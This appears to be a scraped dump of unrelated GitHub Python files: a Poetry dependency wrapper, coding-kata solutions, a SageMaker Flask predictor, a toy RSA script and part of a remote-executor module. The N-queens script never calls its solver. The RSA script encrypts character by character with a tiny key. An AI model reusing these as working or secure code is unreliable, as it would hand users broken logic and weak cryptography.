'/home/deepank/Downloads/model'+str(np.exp(-np.sqrt(loss.item())))+'.pth')\n a=int(input('Want to continue?')) \n \nY_test=model(X_test)\n\n#saving to a csv file\nans=Y_test.detach().numpy()\nfinal=pd.DataFrame()\nfinal['id']=test['id']\nlis=[]\nfor i in ans.tolist():\n lis.append(i[0])\nfinal['target']=lis\nnow = datetime.now()\ncurrent_time = now.strftime(\"%d_%H_%M_%S\")\nfinal.to_csv(current_time+'_.csv',sep=',',index=False)\nprint('Done')","repo_name":"namanbiyani/Bitgrit_interIIT","sub_path":"Round1/Actual.py","file_name":"Actual.py","file_ext":"py","file_size_in_byte":4890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30008337003","text":"from collections.abc import Sequence\nfrom typing import Any\n\nfrom packaging.markers import Marker\nfrom packaging.requirements import Requirement\nfrom packaging.specifiers import SpecifierSet\nfrom packaging.version import Version\nfrom tomlkit import inline_table\n\nfrom compreq.classifiers import set_python_classifiers\nfrom compreq.io.pyproject import PyprojectFile\nfrom compreq.lazy import AnyReleaseSet, AnyRequirementSet\nfrom compreq.levels import REL_MAJOR\nfrom compreq.requirements import (\n OptionalRequirement,\n RequirementSet,\n get_requirement_set,\n)\nfrom compreq.roots import CompReq\nfrom compreq.rounding import ceil\n\n\nclass PoetryPyprojectFile(PyprojectFile):\n \"\"\"\n Wrapper around a `pyproject.toml` using Poetry.\n\n Usage::\n\n with PoetryPyprojectFile.open() as pyproject:\n pyproject.set_requirements(...)\n \"\"\"\n\n def get_requirements(self, group: str | None = None) -> RequirementSet:\n \"\"\"\n Get the given `group` of requirements. If `group` is `None` the main group is returned.\n \"\"\"\n return get_requirement_set(\n self._parse_requirement(distribution, toml)\n for distribution, toml in self._get_dependencies(group).items()\n )\n\n def _parse_requirement(self, distribution: str, toml: Any) -> OptionalRequirement:\n requirement = Requirement.__new__(Requirement)\n requirement.name = distribution\n requirement.url = None\n requirement.extras = set()\n requirement.specifier = SpecifierSet()\n requirement.marker = None\n optional = False\n\n if isinstance(toml, dict):\n if \"url\" in toml:\n requirement.url = toml[\"url\"]\n if \"path\" in toml:\n requirement.url = f\"file://{toml['path']}\"\n if \"git\" in toml:\n requirement.url = f\"git+{toml['git']}\"\n if \"extras\" in toml:\n requirement.extras = set(toml[\"extras\"])\n if \"version\" in toml:\n requirement.specifier = self._parse_specifier_set(toml[\"version\"])\n if \"markers\" in toml:\n requirement.marker = Marker(toml[\"markers\"])\n if \"optional\" in toml:\n optional = toml[\"optional\"]\n else:\n requirement.specifier = self._parse_specifier_set(toml)\n\n return OptionalRequirement(requirement, optional)\n\n def _parse_specifier_set(self, specifier_set: str) -> SpecifierSet:\n result = SpecifierSet()\n for specifier in specifier_set.split(\",\"):\n if specifier.startswith(\"^\"):\n version = Version(specifier[1:])\n upper = ceil(REL_MAJOR, version, keep_trailing_zeros=True)\n result &= SpecifierSet(f\"<{upper},>={version}\")\n elif specifier.startswith(\"~\"):\n result &= SpecifierSet(f\"~={specifier[1:]}\")\n elif (\n specifier.startswith(\"<\") or specifier.startswith(\">\") or specifier.startswith(\"!=\")\n ):\n result &= SpecifierSet(specifier)\n else:\n result &= SpecifierSet(f\"=={specifier}\")\n return result\n\n def set_requirements(\n self,\n cr: CompReq,\n requirement_set: AnyRequirementSet,\n group: str | None = None,\n ) -> None:\n \"\"\"\n Set the given `group` of requirements. If `group` is `None` the main group is set.\n \"\"\"\n requirements = cr.resolve_requirement_set(requirement_set)\n requirements_toml = self._get_dependencies(group)\n requirements_toml.clear()\n for r in requirements.values():\n requirements_toml[r.name] = self._format_requirement(r)\n\n def _format_requirement(self, requirement: OptionalRequirement) -> Any:\n result = inline_table()\n\n if requirement.url is not None:\n url = requirement.url\n if url.startswith(\"file://\"):\n result[\"path\"] = url[7:]\n elif url.startswith(\"git+\"):\n result[\"git\"] = url[4:]\n else:\n result[\"url\"] = url\n if requirement.extras:\n result[\"extras\"] = sorted(requirement.extras)\n if requirement.specifier:\n result[\"version\"] = self._format_specifier_set(requirement.specifier)\n if requirement.marker is not None:\n result[\"markers\"] = str(requirement.marker)\n if requirement.optional:\n result[\"optional\"] = requirement.optional\n\n return result if list(result) != [\"version\"] else result[\"version\"]\n\n def _format_specifier_set(self, specifier_set: SpecifierSet) -> str:\n specifiers = []\n for specifier in specifier_set:\n if specifier.operator == \"==\":\n specifiers.append(specifier.version)\n elif specifier.operator == \"~=\":\n specifiers.append(f\"~{specifier.version}\")\n else:\n specifiers.append(str(specifier))\n return \",\".join(sorted(specifiers))\n\n def _get_poetry(self) -> Any:\n return self.toml[\"tool\"][\"poetry\"]\n\n def _get_dependencies(self, group: str | None) -> Any:\n if group is None:\n return self._get_poetry()[\"dependencies\"]\n else:\n return self._get_poetry()[\"group\"][group][\"dependencies\"]\n\n def get_classifiers(self) -> Sequence[str]:\n \"\"\"Get the distribution classifiers. (https://pypi.org/classifiers/)\"\"\"\n return list(self._get_poetry()[\"classifiers\"])\n\n def set_classifiers(self, classifiers: Sequence[str]) -> None:\n \"\"\"Set the distribution classifiers. (https://pypi.org/classifiers/)\"\"\"\n toml = self._get_poetry()[\"classifiers\"]\n toml.clear()\n toml.extend(classifiers)\n toml.multiline(True)\n\n def set_python_classifiers(\n self, cr: CompReq, python_releases: AnyReleaseSet | None = None\n ) -> None:\n \"\"\"\n Replace python distribution classifiers (https://pypi.org/classifiers/) with those\n corresponding to `python_releases`.\n \"\"\"\n self.set_classifiers(set_python_classifiers(self.get_classifiers(), cr, python_releases))\n","repo_name":"jesnie/compreq","sub_path":"compreq/io/poetry.py","file_name":"poetry.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"385150472","text":"\"\"\"Kata url: https://www.codewars.com/kata/51e0007c1f9378fa810002a9.\"\"\"\nfrom typing import List\n\n\ndef parse(data: str) -> List[int]:\n out = []\n cell = 0\n\n ops = {\n 'o': lambda v: out.append(v) or v,\n 'i': lambda v: v + 1,\n 'd': lambda v: v - 1,\n 's': lambda v: v ** 2\n }\n\n for ins in data:\n func = ops.get(ins)\n\n if func is None:\n continue\n\n cell = func(cell)\n return out\n\n\ndef test_parse():\n assert parse(\"ooo\") == [0, 0, 0]\n assert parse(\"ioioio\") == [1, 2, 3]\n assert parse(\"idoiido\") == [0, 1]\n assert parse(\"isoisoiso\") == [1, 4, 25]\n assert parse(\"codewars\") == [0]\n","repo_name":"Sigmanificient/codewars","sub_path":"src/python/katas/py6kyu/make_the_deadfish_swim.py","file_name":"make_the_deadfish_swim.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"21743820411","text":"import sys\n\ndef is_safe(board, row, col):\n # Check if a queen can be placed at the given position\n # without attacking any other queens on the board\n for i in range(row):\n if board[i] == col or \\\n board[i] - i == col - row or \\\n board[i] + i == col + row:\n return False\n return True\n\ndef solve_nqueens(N):\n if N < 4:\n print(\"N must be at least 4\")\n sys.exit(1)\n\n board = [-1] * N # Initialize an empty board\n\n def place_queen(row):\n if row == N:\n # All queens have been successfully placed, print the solution\n print([[i, board[i]] for i in range(N)])\n return\n for col in range(N):\n if is_safe(board, row, col):\n board[row] = col\n place_queen(row + 1)\n\n place_queen(0) # Start placing queens from the first row\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage: nqueens N\")\n sys.exit(1)\n try:\n N = int(sys.argv[1])\n except ValueError:\n print(\"N must be a number\")\n sys.exit(1)\n solve_nqueens\n","repo_name":"Beautyome/alx-higher_level_programming","sub_path":"101-nqueens.py","file_name":"101-nqueens.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1640785982","text":"# Given an array of numbers nums, in which exactly two elements appear only once and all the other elements appear exactly twice. Find the two elements that appear only once.\n#\n# Example:\n# Input: [1,2,1,3,2,5]\n# Output: [3,5]\n#\n# Note:\n# The order of the result is not important. So in the above example, [5, 3] is also correct.\n# Your algorithm should run in linear runtime complexity. Could you implement it using only constant space complexity?\n\nimport collections\nclass Solution:\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n a=[]\n cnt=collections.Counter(nums)\n for key in cnt:\n if cnt[key]==1:\n a.append(key)\n return a\n\n\n\n# print(Solution().singleNumber([1,2,1,3,2,5]))","repo_name":"amogchandrashekar/Leetcode","sub_path":"Medium/Single Number III.py","file_name":"Single Number III.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"75042338755","text":"# Python program to read JSON file\n\nimport json\n\n# Opening JSON File\nf = open('employee_data.json',)\n\n# Return JSON as a dictionary\ndata = json.load(f)\n\n# Iterating through the json list and print value for \"emp_name\"\nfor i in data['emp_details']:\n print(i[\"emp_name\"])\n\n# Closing file\nf.close()","repo_name":"azaa1/python-for-linux-admins","sub_path":"read_json/read_names.py","file_name":"read_names.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6608707574","text":"# This is the file that implements a flask server to do inferences. It's the file that you will modify to\n# implement the scoring for your own algorithm.\n\nimport io\n\nimport flask\nimport pandas as pd\n\n# The flask app for serving predictions\nfrom scoring.scoring import ScoringService\n\napp = flask.Flask(__name__)\n\n\n@app.route(\"/ping\", methods=[\"GET\"])\ndef ping():\n \"\"\"Determine if the container is working and healthy. In this sample container, we declare\n it healthy if we can load the model successfully.\"\"\"\n health = ScoringService.get_model() is not None # You can insert a health check here\n\n status = 200 if health else 404\n return flask.Response(response=\"ok\", status=status, mimetype=\"application/json\")\n\n\n@app.route(\"/invocations\", methods=[\"POST\"])\ndef invocations():\n \"\"\"Do an inference on a single batch of data. In this sample server, we take data as CSV, convert\n it to a pandas data frame for internal use and then convert the predictions back to CSV (which really\n just means one prediction per line, since there's a single column.\n \"\"\"\n data = None\n\n # Convert from CSV to DataFrame\n if flask.request.content_type == \"text/csv\":\n data = flask.request.data.decode(\"utf-8\")\n s = io.StringIO(data)\n data = pd.read_csv(s, header=None)\n else:\n return flask.Response(\n response=\"This predictor only supports CSV data\", status=415, mimetype=\"text/plain\"\n )\n\n # Do the prediction\n print(\"Invoked with {} records\".format(data.shape[0]))\n predictions = ScoringService.predict(data)\n\n # Convert from numpy back to CSV\n out = io.StringIO()\n pd.DataFrame({\"results\": predictions}).to_csv(out, header=False, index=False)\n result = out.getvalue()\n\n return flask.Response(response=result, status=200, mimetype=\"text/csv\")\n","repo_name":"qinjie/sagemaker_bring_your_own","sub_path":"sagemaker_container/app/predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"28498859583","text":"import os\nimport sys\nimport logging\n# from common.rsa_key_helper import get_private_key\nfrom rsa_key_helper import get_private_key\nimport rsa_key_helper\n\nLOGGING_LEVEL = logging.INFO\n#logging_level = logging.debug\nif None != os.getenv('LOGGING_LEVEL'):\n LOGGING_LEVEL = logging.getLevelName(os.getenv('LOGGING_LEVEL'))\nlogger = logging.getLogger(__name__)\nlogger.setLevel(LOGGING_LEVEL)\nstream_handler = logging.StreamHandler(sys.stdout)\nlogger.addHandler(stream_handler)\n\ndef main():\n \"\"\" Question 6\n * Write a program to convert an encrypted number c = m^e (mod n) \n * into the original m = c^d (mod n), where 0 < m < n is some integer. \n \"\"\"\n public_key = (937513, 638471)\n n, e = public_key\n private_key = get_private_key(n, e)\n\n input_plantext = input(\"Question 6 - Please input plaintext for encryption :\\n\")\n logger.info(\"Your input is: {}\".format(input_plantext))\n ciphertext = encrypt(public_key, input_plantext)\n logger.info(\"The encrypted text is : {}\".format(ciphertext))\n plantext = decrypt(private_key, ciphertext)\n logger.info(\"The decrypted text is : {}\".format(plantext))\n\ndef encrypt(public_key, plaintext):\n #Unpack the key into it's components\n n, e = public_key\n #Convert each letter in the plaintext to numbers based on the character using m^e mod n\n cipher = [(ord(char) ** e) % n for char in plaintext]\n #Return the array of bytes\n return cipher\n\ndef decrypt(private_key, ciphertext):\n #Unpack the key into its components\n n, d = private_key\n #Generate the plaintext based on the ciphertext and key using c^d mod n\n plain = [chr((char ** d) % n) for char in ciphertext]\n #Return the array of bytes as a string\n return ''.join(plain)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"lemontreeran/my-Python-Projects","sub_path":"RSA/question6.py","file_name":"question6.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72907311235","text":"import pandas as pd\r\nimport numpy as np\r\n\r\ndef groupholes(df_hole, mat_lin, mat_col, df_error_w, threshold_smallholes, ref_l_filt):\r\n \r\n columns = df_hole.shape[1]\r\n lines = df_hole.shape[0]\r\n \r\n \r\n df_groups = pd.DataFrame(0, index = (range(lines + 2*mat_lin)), columns = (range(columns + 2*mat_col))) # create 0-Dataframe with added rows and columns, so search matrix doesn't search outside of frame\r\n i = 0\r\n n = 0\r\n neighborcell = 'NO'\r\n \r\n while i < columns: # loop for columns\r\n j = 0\r\n while j < lines: # loop for lines\r\n \r\n if df_hole.iloc[j][i] == 1 and df_error_w.iloc[j][i] < 0: # if hole was found\r\n \r\n # check neighborcells for hole\r\n l = round(-(mat_lin/2))+1 # Hinterfragen: Unterschied gerade ungerade Zahl\r\n while l <= mat_lin/2: # loop for lines of search-matrix\r\n k = 0\r\n while k < mat_col: # loop for columns of search-matrix\r\n if df_groups.iloc[j + mat_lin + l, i + mat_col - k] > 0: # if: hole-pixel was detected in one of the neighborcells\r\n m = df_groups.at[j + mat_lin + l, i + mat_col - k] # m is the number of the detected neighbor-hole-pixel\r\n neighborcell = 'YES'\r\n \r\n k = mat_col #end loop k\r\n l = mat_lin #end loop l\r\n else: # else: continue search\r\n neighborcell = 'NO'\r\n k = k + 1\r\n l = l+1\r\n \r\n # if neighborcell is a hole, copy holenumber of neighborpixel\r\n if neighborcell == 'YES':\r\n while df_hole.iloc[j, i] == 1:\r\n df_groups.at[j + mat_lin, i + mat_col] = m\r\n \r\n if j < lines-1: # nicht so schöne Problembehebung\r\n j = j+1\r\n else:\r\n break\r\n \r\n # else new hole\r\n else:\r\n n = n + 1 # new hole number\r\n m = n # update m\r\n #df_groups.at[j,i] = m\r\n while df_hole.iloc[j, i] == 1:\r\n df_groups.at[j + mat_lin, i + mat_col] = m\r\n \r\n if j < lines-1: # nicht so schöne Problembehebung\r\n j = j+1\r\n else:\r\n break\r\n \r\n j = j+1\r\n i = i+1\r\n \r\n # delete added columns/rows\r\n df_groups = df_groups.drop(df_groups.tail(mat_lin).index) # delete last mat_lin-rows\r\n df_groups = df_groups.drop(df_groups.head(mat_lin).index) # delete first mat_lin-rows\r\n df_groups = (df_groups.iloc[:,:-mat_col]) # delete last mat_col-columns\r\n df_groups = (df_groups.iloc[:,mat_col:]) # delete first mat_col-columns\r\n \r\n df_groups = df_groups.reset_index(drop=True) # reset row-names starting at 0\r\n df_groups.columns = [np.arange(0,df_groups.shape[1])] #reset column-names starting at 0\r\n\r\n # filter small and shallow holes\r\n for i in range(1, n+1):\r\n if (df_groups.isin([i])).sum().sum() < threshold_smallholes: # if hole has very few pixel\r\n\r\n # calculate maximal depth of hole\r\n arr_err = df_error_w.to_numpy()\r\n arr_gr = df_groups.to_numpy()\r\n max_depth = np.amin(arr_err[arr_gr == i])\r\n \r\n if max_depth > ref_l_filt: # if hole is very shallow\r\n df_groups = df_groups.replace(i, 0)\r\n \r\n # filter holes at image border\r\n arr_gr = df_groups.to_numpy()\r\n arr_border = np.concatenate([arr_gr[0], arr_gr[lines-1], arr_gr[:,0], arr_gr[:,columns-1]])\r\n arr_uni = np.unique(arr_border)\r\n for i in range(1, len(arr_uni)):\r\n df_groups = df_groups.replace(arr_uni[i], 0)\r\n \r\n \r\n # renumber filtered holes\r\n j=1\r\n for i in range(1, n+1):\r\n if (df_groups == i).sum().sum() > 0: \r\n df_groups = df_groups.replace(i, j)\r\n j = j+1 \r\n n = j-1\r\n \r\n \r\n return df_groups, n","repo_name":"Roman315/MA_Liang","sub_path":"groupholes.py","file_name":"groupholes.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22022541943","text":"from __future__ import annotations\n\nimport concurrent.futures as fut\nimport logging\nimport os\nimport platform\nimport random\nimport subprocess\nimport threading\nimport time\nimport warnings\nfrom abc import ABC, abstractmethod\nfrom collections import defaultdict\nfrom dataclasses import dataclass\nfrom typing import Any, Callable, Dict, List, Optional, Set\n\nimport cloudpickle # type: ignore\nfrom overrides import overrides\n\nimport pyutils.typez.histogram as hist\nfrom pyutils import argparse_utils, config, dataclass_utils, math_utils, string_utils\nfrom pyutils.ansi import bg, fg, reset, underline\nfrom pyutils.decorator_utils import singleton\nfrom pyutils.exceptions import PyUtilsException, PyUtilsUnreachableConditionException\nfrom pyutils.exec_utils import cmd_exitcode, cmd_in_background, run_silently\nfrom pyutils.files import file_utils\nfrom pyutils.parallelize.thread_utils import background_thread\nfrom pyutils.typez import persistent\n\nlogger = logging.getLogger(__name__)\n\nparser = config.add_commandline_args(\n f\"Executors ({__file__})\", \"Args related to processing executors.\"\n)\nparser.add_argument(\n '--executors_threadpool_size',\n type=int,\n metavar='#THREADS',\n help='Number of threads in the default threadpool, leave unset for default',\n default=None,\n)\nparser.add_argument(\n '--executors_processpool_size',\n type=int,\n metavar='#PROCESSES',\n help='Number of processes in the default processpool, leave unset for default',\n default=None,\n)\nparser.add_argument(\n '--executors_schedule_remote_backups',\n default=True,\n action=argparse_utils.ActionNoYes,\n help='Should we schedule duplicative backup work if a remote bundle is slow',\n)\nparser.add_argument(\n '--executors_max_bundle_failures',\n type=int,\n default=3,\n metavar='#FAILURES',\n help='Maximum number of failures before giving up on a bundle',\n)\nparser.add_argument(\n '--remote_worker_records_file',\n type=str,\n metavar='FILENAME',\n help='Path of the remote worker records file (JSON)',\n default=f'{os.environ.get(\"HOME\", \".\")}/.remote_worker_records',\n)\nparser.add_argument(\n '--remote_worker_helper_path',\n type=str,\n metavar='PATH_TO_REMOTE_WORKER_PY',\n help='Path to remote_worker.py on remote machines',\n default=f'source py39-venv/bin/activate && {os.environ[\"HOME\"]}/pyutils/src/pyutils/remote_worker.py',\n)\n\nSSH = '/usr/bin/ssh -oForwardX11=no'\nSCP = '/usr/bin/scp -C'\n\n\ndef _make_cloud_pickle(fun, *args, **kwargs):\n \"\"\"Internal helper to create cloud pickles.\"\"\"\n logger.debug(\"Making cloudpickled bundle at %s\", fun.__name__)\n return cloudpickle.dumps((fun, args, kwargs))\n\n\nclass BaseExecutor(ABC):\n \"\"\"The base executor interface definition. The interface for\n :class:`ProcessExecutor`, :class:`RemoteExecutor`, and\n :class:`ThreadExecutor`.\n \"\"\"\n\n def __init__(self, *, title=''):\n \"\"\"\n Args:\n title: the name of this executor.\n \"\"\"\n self.title = title\n self.histogram = hist.SimpleHistogram(\n hist.SimpleHistogram.n_evenly_spaced_buckets(int(0), int(500), 50)\n )\n self.task_count = 0\n\n @abstractmethod\n def submit(self, function: Callable, *args, **kwargs) -> fut.Future:\n \"\"\"Submit work for the executor to do.\n\n Args:\n function: the Callable to be executed.\n *args: the arguments to function\n **kwargs: the arguments to function\n\n Returns:\n A concurrent :class:`Future` representing the result of the\n work.\n \"\"\"\n pass\n\n @abstractmethod\n def shutdown(self, *, wait: bool = True, quiet: bool = False) -> None:\n \"\"\"Shutdown the executor.\n\n Args:\n wait: wait for the shutdown to complete before returning?\n quiet: keep it quiet, please.\n \"\"\"\n pass\n\n def shutdown_if_idle(self, *, quiet: bool = False) -> bool:\n \"\"\"Shutdown the executor and return True if the executor is idle\n (i.e. there are no pending or active tasks). Return False\n otherwise. Note: this should only be called by the launcher\n process.\n\n Args:\n quiet: keep it quiet, please.\n\n Returns:\n True if the executor could be shut down because it has no\n pending work, False otherwise.\n \"\"\"\n if self.task_count == 0:\n self.shutdown(wait=True, quiet=quiet)\n return True\n return False\n\n def adjust_task_count(self, delta: int) -> None:\n \"\"\"Change the task count. Note: do not call this method from a\n worker, it should only be called by the launcher process /\n thread / machine.\n\n Args:\n delta: the delta value by which to adjust task count.\n \"\"\"\n self.task_count += delta\n logger.debug('Adjusted task count by %d to %d.', delta, self.task_count)\n\n def get_task_count(self) -> int:\n \"\"\"Change the task count. Note: do not call this method from a\n worker, it should only be called by the launcher process /\n thread / machine.\n\n Returns:\n The executor's current task count.\n \"\"\"\n return self.task_count\n\n\nclass ThreadExecutor(BaseExecutor):\n \"\"\"A threadpool executor. This executor uses Python threads to\n schedule tasks. Note that, at least as of python3.10, because of\n the global lock in the interpreter itself, these do not\n parallelize very well so this class is useful mostly for non-CPU\n intensive tasks.\n\n See also :class:`ProcessExecutor` and :class:`RemoteExecutor`.\n \"\"\"\n\n def __init__(self, max_workers: Optional[int] = None):\n \"\"\"\n Args:\n max_workers: maximum number of threads to create in the pool.\n \"\"\"\n super().__init__()\n workers = None\n if max_workers is not None:\n workers = max_workers\n elif 'executors_threadpool_size' in config.config:\n workers = config.config['executors_threadpool_size']\n if workers is not None:\n logger.debug('Creating threadpool executor with %d workers', workers)\n else:\n logger.debug('Creating a default sized threadpool executor')\n self._thread_pool_executor = fut.ThreadPoolExecutor(\n max_workers=workers, thread_name_prefix=\"thread_executor_helper\"\n )\n self.already_shutdown = False\n\n # This is run on a different thread; do not adjust task count here.\n @staticmethod\n def _run_local_bundle(fun, *args, **kwargs):\n logger.debug(\"Running local bundle at %s\", fun.__name__)\n result = fun(*args, **kwargs)\n return result\n\n @overrides\n def submit(self, function: Callable, *args, **kwargs) -> fut.Future:\n \"\"\"\n Raises:\n Exception: executor is shutting down already.\n \"\"\"\n if self.already_shutdown:\n raise PyUtilsException('Submitted work after shutdown.')\n self.adjust_task_count(+1)\n newargs = []\n newargs.append(function)\n for arg in args:\n newargs.append(arg)\n start = time.time()\n result = self._thread_pool_executor.submit(\n ThreadExecutor._run_local_bundle, *newargs, **kwargs\n )\n result.add_done_callback(lambda _: self.histogram.add_item(time.time() - start))\n result.add_done_callback(lambda _: self.adjust_task_count(-1))\n return result\n\n @overrides\n def shutdown(self, *, wait: bool = True, quiet: bool = False) -> None:\n if not self.already_shutdown:\n logger.debug('Shutting down threadpool executor %s', self.title)\n self._thread_pool_executor.shutdown(wait)\n if not quiet:\n print(self.histogram.__repr__(label_formatter='%ds'))\n self.already_shutdown = True\n\n\nclass ProcessExecutor(BaseExecutor):\n \"\"\"An executor which runs tasks in child processes.\n\n See also :class:`ThreadExecutor` and :class:`RemoteExecutor`.\n \"\"\"\n\n def __init__(self, max_workers=None):\n \"\"\"\n Args:\n max_workers: the max number of worker processes to create.\n \"\"\"\n super().__init__()\n workers = None\n if max_workers is not None:\n workers = max_workers\n elif 'executors_processpool_size' in config.config:\n workers = config.config['executors_processpool_size']\n if workers is not None:\n logger.debug('Creating processpool executor with %d workers.', workers)\n else:\n logger.debug('Creating a default sized processpool executor')\n self._process_executor = fut.ProcessPoolExecutor(\n max_workers=workers,\n )\n self.already_shutdown = False\n\n # This is run in another process; do not adjust task count here.\n @staticmethod\n def _run_cloud_pickle(pickle):\n fun, args, kwargs = cloudpickle.loads(pickle)\n logger.debug(\"Running pickled bundle at %s\", fun.__name__)\n result = fun(*args, **kwargs)\n return result\n\n @overrides\n def submit(self, function: Callable, *args, **kwargs) -> fut.Future:\n \"\"\"\n Raises:\n Exception: executor is shutting down already.\n \"\"\"\n if self.already_shutdown:\n raise PyUtilsException('Submitted work after shutdown.')\n start = time.time()\n self.adjust_task_count(+1)\n pickle = _make_cloud_pickle(function, *args, **kwargs)\n result = self._process_executor.submit(\n ProcessExecutor._run_cloud_pickle, pickle\n )\n result.add_done_callback(lambda _: self.histogram.add_item(time.time() - start))\n result.add_done_callback(lambda _: self.adjust_task_count(-1))\n return result\n\n @overrides\n def shutdown(self, *, wait: bool = True, quiet: bool = False) -> None:\n if not self.already_shutdown:\n logger.debug('Shutting down processpool executor %s', self.title)\n self._process_executor.shutdown(wait)\n if not quiet:\n print(self.histogram.__repr__(label_formatter='%ds'))\n self.already_shutdown = True\n\n def __getstate__(self):\n state = self.__dict__.copy()\n state['_process_executor'] = None\n return state\n\n\ndef get_remote_workers_filename() -> str:\n remote_workers_record_file = config.config['remote_worker_records_file']\n if not remote_workers_record_file:\n remote_workers_record_file = (\n f'{os.environ.get(\"HOME\", \".\")}/.remote_worker_records'\n )\n return remote_workers_record_file\n\n\n@dataclass\nclass RemoteWorkerRecord:\n \"\"\"A record of info about a remote worker.\"\"\"\n\n username: str\n \"\"\"Username we can ssh into on this machine to run work.\"\"\"\n\n machine: str\n \"\"\"Machine address / name.\"\"\"\n\n weight: int\n \"\"\"Relative probability for the weighted policy to select this\n machine for scheduling work.\"\"\"\n\n count: int\n \"\"\"If this machine is selected, what is the maximum number of task\n that it can handle?\"\"\"\n\n def __hash__(self):\n return hash((self.username, self.machine))\n\n def __repr__(self):\n return f'{self.username}@{self.machine}'\n\n\n@dataclass\nclass BundleDetails:\n \"\"\"All info necessary to define some unit of work that needs to be\n done, where it is being run, its state, whether it is an original\n bundle of a backup bundle, how many times it has failed, etc...\n \"\"\"\n\n pickled_code: bytes\n \"\"\"The code to run, cloud pickled\"\"\"\n\n uuid: str\n \"\"\"A unique identifier\"\"\"\n\n function_name: str\n \"\"\"The name of the function we pickled\"\"\"\n\n worker: Optional[RemoteWorkerRecord]\n \"\"\"The remote worker running this bundle or None if none (yet)\"\"\"\n\n username: Optional[str]\n \"\"\"The remote username running this bundle or None if none (yet)\"\"\"\n\n machine: Optional[str]\n \"\"\"The remote machine running this bundle or None if none (yet)\"\"\"\n\n controller: str\n \"\"\"The controller machine\"\"\"\n\n code_file: str\n \"\"\"A unique filename to hold the work to be done\"\"\"\n\n result_file: str\n \"\"\"Where the results should be placed / read from\"\"\"\n\n pid: int\n \"\"\"The process id of the local subprocess watching the ssh connection\n to the remote machine\"\"\"\n\n start_ts: float\n \"\"\"Starting time\"\"\"\n\n end_ts: float\n \"\"\"Ending time\"\"\"\n\n slower_than_local_p95: bool\n \"\"\"Currently slower then 95% of other bundles on remote host\"\"\"\n\n slower_than_global_p95: bool\n \"\"\"Currently slower than 95% of other bundles globally\"\"\"\n\n src_bundle: Optional[BundleDetails]\n \"\"\"If this is a backup bundle, this points to the original bundle\n that it's backing up. None otherwise.\"\"\"\n\n is_cancelled: threading.Event\n \"\"\"An event that can be signaled to indicate this bundle is cancelled.\n This is set when another copy (backup or original) of this work has\n completed successfully elsewhere.\"\"\"\n\n was_cancelled: bool\n \"\"\"True if this bundle was cancelled, False if it finished normally\"\"\"\n\n backup_bundles: Optional[List[BundleDetails]]\n \"\"\"If we've created backups of this bundle, this is the list of them\"\"\"\n\n failure_count: int\n \"\"\"How many times has this bundle failed already?\"\"\"\n\n def __repr__(self):\n uuid = self.uuid\n if uuid[-9:-2] == '_backup':\n uuid = uuid[:-9]\n suffix = f'{uuid[-6:]}_b{self.uuid[-1:]}'\n else:\n suffix = uuid[-6:]\n\n # We colorize the uuid based on some bits from it to make them\n # stand out in the logging and help a reader correlate log messages\n # related to the same bundle.\n colorz = [\n fg('violet red'),\n fg('red'),\n fg('orange'),\n fg('peach orange'),\n fg('yellow'),\n fg('marigold yellow'),\n fg('green yellow'),\n fg('tea green'),\n fg('cornflower blue'),\n fg('turquoise blue'),\n fg('tropical blue'),\n fg('lavender purple'),\n fg('medium purple'),\n ]\n c = colorz[int(uuid[-2:], 16) % len(colorz)]\n function_name = (\n self.function_name if self.function_name is not None else 'nofname'\n )\n machine = self.machine if self.machine is not None else 'nomachine'\n return f'{c}{suffix}/{function_name}/{machine}{reset()}'\n\n\nclass RemoteExecutorStatus:\n \"\"\"A status 'scoreboard' for a remote executor tracking various\n metrics and able to render a periodic dump of global state.\n \"\"\"\n\n def __init__(self, total_worker_count: int) -> None:\n \"\"\"\n Args:\n total_worker_count: number of workers in the pool\n \"\"\"\n self.worker_count: int = total_worker_count\n self.known_workers: Set[RemoteWorkerRecord] = set()\n self.start_time: float = time.time()\n self.start_per_bundle: Dict[str, Optional[float]] = defaultdict(float)\n self.end_per_bundle: Dict[str, float] = defaultdict(float)\n self.finished_bundle_timings_per_worker: Dict[\n RemoteWorkerRecord, math_utils.NumericPopulation\n ] = {}\n self.in_flight_bundles_by_worker: Dict[RemoteWorkerRecord, Set[str]] = {}\n self.bundle_details_by_uuid: Dict[str, BundleDetails] = {}\n self.finished_bundle_timings: math_utils.NumericPopulation = (\n math_utils.NumericPopulation()\n )\n self.last_periodic_dump: Optional[float] = None\n self.total_bundles_submitted: int = 0\n\n # Protects reads and modification using self. Also used\n # as a memory fence for modifications to bundle.\n self.lock: threading.Lock = threading.Lock()\n\n def record_acquire_worker(self, worker: RemoteWorkerRecord, uuid: str) -> None:\n \"\"\"Record that bundle with uuid is assigned to a particular worker.\n\n Args:\n worker: the record of the worker to which uuid is assigned\n uuid: the uuid of a bundle that has been assigned to a worker\n \"\"\"\n with self.lock:\n self.record_acquire_worker_already_locked(worker, uuid)\n\n def record_acquire_worker_already_locked(\n self, worker: RemoteWorkerRecord, uuid: str\n ) -> None:\n \"\"\"Same as above but an entry point that doesn't acquire the lock\n for codepaths where it's already held.\"\"\"\n assert self.lock.locked()\n self.known_workers.add(worker)\n 